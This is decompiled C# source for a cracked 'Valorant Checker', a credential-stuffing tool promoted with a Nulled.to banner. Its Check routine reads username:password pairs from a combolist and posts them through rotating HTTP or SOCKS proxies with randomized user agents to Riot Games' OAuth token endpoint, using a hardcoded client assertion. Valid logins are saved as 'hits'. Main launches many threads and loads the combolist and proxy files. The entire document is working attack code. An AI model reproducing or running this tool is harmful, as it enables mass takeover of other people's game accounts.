// Token: 0x06000009 RID: 9 RVA: 0x00002574 File Offset: 0x00000774
 public static void Check()
 {
     for (;;)
     {
         if (CheckerHelper.proxyindex > CheckerHelper.proxies.Count <string>() - 2)
         {
             CheckerHelper.proxyindex = 0;
         }
         try
         {
             Interlocked.Increment(ref CheckerHelper.proxyindex);
             using (HttpRequest httpRequest = new HttpRequest())
             {
                 if (CheckerHelper.accindex >= CheckerHelper.accounts.Count <string>())
                 {
                     CheckerHelper.stop++;
                     break;
                 }
                 Interlocked.Increment(ref CheckerHelper.accindex);
                 string[] array = CheckerHelper.accounts[CheckerHelper.accindex].Split(new char[]
                 {
                     ':',
                     ';',
                     '|'
                 });
                 string text = array[0] + ":" + array[1];
                 try
                 {
                     if (CheckerHelper.proxytype == "HTTP")
                     {
                         httpRequest.Proxy = HttpProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         httpRequest.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "SOCKS4")
                     {
                         httpRequest.Proxy = Socks4ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         httpRequest.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "SOCKS5")
                     {
                         httpRequest.Proxy = Socks5ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         httpRequest.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "NO")
                     {
                         httpRequest.Proxy = null;
                     }
                     httpRequest.KeepAlive            = true;
                     httpRequest.IgnoreProtocolErrors = true;
                     httpRequest.ConnectTimeout       = 5000;
                     httpRequest.Cookies    = null;
                     httpRequest.UseCookies = true;
                     httpRequest.UserAgentRandomize();
                     string str = string.Concat(new string[]
                     {
                         "client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&client_assertion=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tXC90b2tlbiIsInN1YiI6ImxvbCIsImlzcyI6ImxvbCIsImV4cCI6MTYwMTE1MTIxNCwiaWF0IjoxNTM4MDc5MjE0LCJqdGkiOiIwYzY3OThmNi05YTgyLTQwY2ItOWViOC1lZTY5NjJhOGUyZDcifQ.dfPcFQr4VTZpv8yl1IDKWZz06yy049ANaLt-AKoQ53GpJrdITU3iEUcdfibAh1qFEpvVqWFaUAKbVIxQotT1QvYBgo_bohJkAPJnZa5v0-vHaXysyOHqB9dXrL6CKdn_QtoxjH2k58ZgxGeW6Xsd0kljjDiD4Z0CRR_FW8OVdFoUYh31SX0HidOs1BLBOp6GnJTWh--dcptgJ1ixUBjoXWC1cgEWYfV00-DNsTwer0UI4YN2TDmmSifAtWou3lMbqmiQIsIHaRuDlcZbNEv_b6XuzUhi_lRzYCwE4IKSR-AwX_8mLNBLTVb8QzIJCPR-MGaPL8hKPdprgjxT0m96gw&grant_type=password&username=NA1|",
                         array[0],
                         "&password="******"&scope=openid offline_access lol ban profile email phone"
                     });
                     string text2 = httpRequest.Post("https://auth.riotgames.com/token", str, "application/x-www-form-urlencoded").ToString();
                     if (text2.Contains("invalid_credentials"))
                     {
                         CheckerHelper.bad++;
                         CheckerHelper.check++;
                         CheckerHelper.CPM_aux++;
                     }
                     else if (text2.Contains("access_token"))
                     {
                         Colorful.Console.Write(" [ + ] " + text + "\n", Color.MediumVioletRed);
                         CheckerHelper.hits++;
                         CheckerHelper.check++;
                         CheckerHelper.CPM_aux++;
                         CheckerHelper.SaveHITS(text);
                     }
                     else
                     {
                         CheckerHelper.accounts.Add(text);
                     }
                     CheckerHelper.err++;
                 }
                 catch (Exception)
                 {
                     CheckerHelper.accounts.Add(text);
                 }
             }
             continue;
         }
         catch
         {
             Interlocked.Increment(ref CheckerHelper.err);
             continue;
         }
         break;
     }
 }
示例#2
0
        private static void Main(string[] args)
        {
            Colorful.Console.SetWindowSize(15, 15);
            Colorful.Console.Title = (Colorful.Console.Title = "Valorant Checker | Cracked By SteezeyBreezey");
            Colorful.Console.Write("\n");
            Colorful.Console.Write("                 ██▒   █▓ ▄▄▄       ██▓     ▒█████   ██▀███   ▄▄▄       ███▄    █ ▄▄▄█████▓    \n", Color.Red);
            Colorful.Console.Write("                ▓██░   █▒▒████▄    ▓██▒    ▒██▒  ██▒▓██ ▒ ██▒▒████▄     ██ ▀█   █ ▓  ██▒ ▓▒    \n", Color.Red);
            Colorful.Console.Write("                ▓██  █▒░▒██  ▀█▄  ▒██░    ▒██░  ██▒▓██ ░▄█ ▒▒██  ▀█▄  ▓██  ▀█ ██▒▒ ▓██░ ▒░    \n", Color.Red);
            Colorful.Console.Write("                 ▒██ █░░░██▄▄▄▄██ ▒██░    ▒██   ██░▒██▀▀█▄  ░██▄▄▄▄██ ▓██▒  ▐▌██▒░ ▓██▓ ░     \n", Color.Red);
            Colorful.Console.Write("                 ▒▀█░   ▓█   ▓██▒░██████▒░ ████▓▒░░██▓ ▒██▒ ▓█   ▓██▒▒██░   ▓██░  ▒██▒ ░     \n", Color.Red);
            Colorful.Console.Write("                ░ ▐░   ▒▒   ▓▒█░░ ▒░▓  ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒   ▓▒█░░ ▒░   ▒ ▒   ▒ ░░       \n", Color.Red);
            Colorful.Console.Write("                ░ ░░    ▒   ▒▒ ░░ ░ ▒  ░  ░ ▒ ▒░   ░▒ ░ ▒░  ▒   ▒▒ ░░ ░░   ░ ▒░    ░    \n", Color.Red);
            Colorful.Console.Write("                 ░░    ░   ▒     ░ ░   ░ ░ ░ ▒    ░░   ░   ░   ▒      ░   ░ ░   ░          \n", Color.Red);
            Colorful.Console.Write("                   ░        ░  ░    ░  ░    ░ ░     ░           ░  ░         ░              \n", Color.Red);
            Colorful.Console.Write("                   ░	Cracked By SteezeyBreezey on Nulled.to								\n", Color.Red);
            Colorful.Console.Write(" [Threads] ", Color.Red);
            try
            {
                CheckerHelper.threads = int.Parse(Colorful.Console.ReadLine());
            }
            catch
            {
                CheckerHelper.threads = 100;
            }
            for (;;)
            {
                Colorful.Console.Write(" [Proxy] {NONE - SOCKS4 - SOCKS5 - HTTP} ", Color.Red);
                CheckerHelper.proxytype = Colorful.Console.ReadLine();
                CheckerHelper.proxytype = CheckerHelper.proxytype.ToUpper();
                if (CheckerHelper.proxytype == "HTTP" || CheckerHelper.proxytype == "SOCKS4" || CheckerHelper.proxytype == "SOCKS5" || CheckerHelper.proxytype == "NONE")
                {
                    break;
                }
                Thread.Sleep(2000);
            }
            Task.Factory.StartNew(delegate()
            {
                CheckerHelper.UpdateTitle();
            });
            OpenFileDialog openFileDialog = new OpenFileDialog();
            string         fileName;

            do
            {
                Colorful.Console.WriteLine(" [Load Combolist] ", Color.Red);
                Thread.Sleep(500);
                openFileDialog.Title            = "Combolist";
                openFileDialog.DefaultExt       = "txt";
                openFileDialog.Filter           = "Text files|*.txt";
                openFileDialog.RestoreDirectory = true;
                openFileDialog.ShowDialog();
                fileName = openFileDialog.FileName;
            }while (!File.Exists(fileName));
            CheckerHelper.accounts = new List <string>(File.ReadAllLines(fileName));
            CheckerHelper.LoadCombos(fileName);
            if (CheckerHelper.proxytype != "NONE")
            {
                string fileName2;
                do
                {
                    Colorful.Console.WriteLine(" [Load Proxy] ", Color.Red);
                    Thread.Sleep(500);
                    openFileDialog.Title            = "Proxy";
                    openFileDialog.DefaultExt       = "txt";
                    openFileDialog.Filter           = "Text files|*.txt";
                    openFileDialog.RestoreDirectory = true;
                    openFileDialog.ShowDialog();
                    fileName2 = openFileDialog.FileName;
                }while (!File.Exists(fileName2));
                CheckerHelper.proxies = new List <string>(File.ReadAllLines(fileName2));
                CheckerHelper.LoadProxies(fileName2);
                Colorful.Console.Write("[ ", Color.SlateGray);
                Colorful.Console.Write(CheckerHelper.total.ToString() + " ", Color.Red);
                Colorful.Console.Write(" / ", Color.SlateGray);
                Colorful.Console.Write(CheckerHelper.proxytotal, Color.Red);
                Colorful.Console.Write(" ]\n ", Color.SlateGray);
            }
            for (int i = 1; i <= CheckerHelper.threads; i++)
            {
                new Thread(new ThreadStart(CheckerHelper.Check)).Start();
            }
            Colorful.Console.ReadLine();
            Environment.Exit(0);
        }